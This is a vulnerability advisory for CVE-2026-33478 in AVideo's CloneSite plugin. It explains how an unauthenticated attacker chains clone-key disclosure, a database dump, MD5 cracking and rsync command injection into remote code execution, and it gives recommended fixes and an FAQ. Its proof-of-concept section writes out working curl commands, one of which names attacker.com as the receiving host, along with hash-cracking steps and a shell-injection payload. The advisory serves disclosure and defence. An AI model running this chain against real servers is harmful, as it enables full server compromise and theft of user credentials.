CVE-2026-33478: AVideo Multi-Chain Attack: Unauthenticated Remote Code Execution via Clone Key Disclosure, Database Dump, and Command Injection
Summary
Multiple vulnerabilities in AVideo's CloneSite plugin chain together to allow a completely unauthenticated attacker to achieve remote code execution. The clones.json.php endpoint exposes clone secret keys without authentication, which can be used to trigger a full database dump via cloneServer.json.php. The dump contains admin password hashes stored as MD5, which are trivially crackable. With admin access, the attacker exploits an OS command injection in the rsync command construction in cloneClient.json.php to execute arbitrary system commands.
Details
Step 1: Clone Key Disclosure
plugin/CloneSite/clones.json.php:1-8 has zero authentication:
php <?php requireonce '../../videos/configuration.php'; requireonce $global['systemRootPath'] . 'plugin/CloneSite/Objects/Clones.php'; header('Content-Type: application/json'); $rows = Clones::getAll(); ?> {"data": <?php echo jsonencode($rows); ?>}
The response includes the key field for every registered clone, which is the sole authentication credential for clone operations.
Step 2: Database Dump via Stolen Key
plugin/CloneSite/cloneServer.json.php:73-97 — once the key passes Clones::thisURLCanCloneMe(), the server executes mysqldump and writes the result to a web-accessible directory:
php $cmd = "mysqldump -u {$mysqlUser} -p'{$mysqlPass}' --host {$mysqlHost} " ." --default-character-set=utf8mb4 {$mysqlDatabase} {$tablesList} > $sqlFile"; exec($cmd . " 2>&1", $output, $returnval);
The SQL file path is returned in the JSON response and is downloadable.
Step 3: Admin Credential Extraction
objects/user.php:1798 — passwords are stored as unsalted MD5:
php $passEncoded = md5($pass);
The users table in the dump contains user, password (MD5), and isAdmin fields. MD5 hashes crack in seconds.
Step 4: Command Injection via Rsync
plugin/CloneSite/cloneClient.json.php:259 — the videosDir from the clone server response is interpolated unsanitized into the rsync command:
php $rsync = "sshpass -p '{password}' rsync -av ... {$objClone->cloneSiteSSHUser}@{$objClone->cloneSiteSSHIP}:{$json->videosDir} ..."; exec($cmd . " 2>&1", $output, $returnval);
An admin who controls a clone server (or an attacker who has become admin) can inject arbitrary commands via the videosDir field.
PoC
bash Step 1: Steal clone keys (unauthenticated) curl -s 'http://target/plugin/CloneSite/clones.json.php' | jq '.data[0].key' Output: "a1b2c3d4e5f6..."
Step 2: Trigger database dump CLONEKEY="a1b2c3d4e5f6..." curl -s "http://target/plugin/CloneSite/cloneServer.json.php" \ --data "url=http://attacker.com&key=${CLONEKEY}&useRsync=0" | jq '.sqlFile' Output: "ClonemysqlDump1234567890.sql"
Step 3: Download the dump and extract admin credentials curl -s "http://target/videos/clones/ClonemysqlDump1234567890.sql" \ | grep -A2 "INSERT INTO.users" \ | grep -oP "admin','[a-f0-9]{32}" Output: admin','5f4dcc3b5aa765d61d8327deb882cf99 (MD5 of "password")
Step 4: Crack MD5 (trivial) echo -n "5f4dcc3b5aa765d61d8327deb882cf99" | hashcat -m 0 -a 0 rockyou.txt Output: password
Step 5: Login as admin, configure CloneSite with malicious server The attacker's clone server returns videosDir containing: /tmp$(id > /tmp/pwned) When rsync executes, the $(id) is evaluated by the shell
Impact
- Complete server compromise: Unauthenticated attacker achieves arbitrary command execution as the web server user - Full database disclosure: The entire database (users, videos, configurations, secrets) is exfiltrated - No user interaction: Every step is automated, no clicks or social engineering required - Credential theft: All user passwords (MD5) are trivially recoverable - Lateral movement: Database credentials and SSH credentials (stored encrypted in the plugins table) may enable access to other systems
Recommended Fix
1. Add authentication to clones.json.php: php // plugin/CloneSite/clones.json.php requireonce '../../videos/configuration.php'; if (!User::isAdmin()) { httpresponsecode(403); die(jsonencode(['error' => true, 'msg' => 'Admin required'])); }
2. Don't store SQL dumps in web-accessible directories — use a path outside the web root or require re-authentication to download.
3. Upgrade password hashing — replace MD5 with passwordhash() (bcrypt/argon2): php // Replace: $passEncoded = md5($pass); $passEncoded = passwordhash($pass, PASSWORDDEFAULT);
4. Sanitize rsync command parameters — use escapeshellarg() on all interpolated values: php $rsync = sprintf("rsync -av ... %s@%s:%s ...", escapeshellarg($objClone->cloneSiteSSHUser), escapeshellarg($objClone->cloneSiteSSHIP), escapeshellarg($json->videosDir) );
Other sources
WWBN AVideo is an open source video platform. In versions up to and including 26.0, multiple vulnerabilities in AVideo's CloneSite plugin chain together to allow a completely unauthenticated attacker to achieve remote code execution. The clones.json.php endpoint exposes clone secret keys without authentication, which can be used to trigger a full database dump via cloneServer.json.php. The dump contains admin password hashes stored as MD5, which are trivially crackable. With admin access, the attacker exploits an OS command injection in the rsync command construction in cloneClient.json.php to execute arbitrary system commands. Commit c85d076375fab095a14170df7ddb27058134d38c contains a patch.
— MITRE
Affected Software
Remediation
Event History
Frequently Asked Questions
What is the severity of CVE-2026-33478?
CVE-2026-33478 has a critical severity due to its potential for unauthenticated remote code execution.
How do I fix CVE-2026-33478?
To mitigate CVE-2026-33478, update AVideo to version 26.1 or later where the vulnerabilities are patched.
Who is affected by CVE-2026-33478?
CVE-2026-33478 affects users of AVideo versions up to and including 26.0 using the CloneSite plugin.
What types of attacks can CVE-2026-33478 facilitate?
CVE-2026-33478 can facilitate remote code execution, database dump, and command injection attacks.
Is authentication required to exploit CVE-2026-33478?
No, CVE-2026-33478 can be exploited by completely unauthenticated attackers.